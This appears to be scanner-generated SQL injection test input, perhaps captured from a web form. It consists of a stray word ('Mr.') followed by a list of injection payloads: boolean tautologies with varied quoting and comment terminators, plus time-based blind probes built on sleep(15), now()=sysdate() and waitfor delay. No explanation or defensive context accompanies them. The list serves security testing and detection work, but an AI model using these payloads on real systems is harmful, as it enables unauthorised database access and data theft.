Mr.

-1 OR 2+990-990-1=0+0+0+1 --

-1 OR 2+299-299-1=0+0+0+1

-1' OR 2+400-400-1=0+0+0+1 --

-1' OR 2+776-776-1=0+0+0+1 or 'jB9mkZJv'='

-1" OR 2+443-443-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1 waitfor delay '0:0:15' --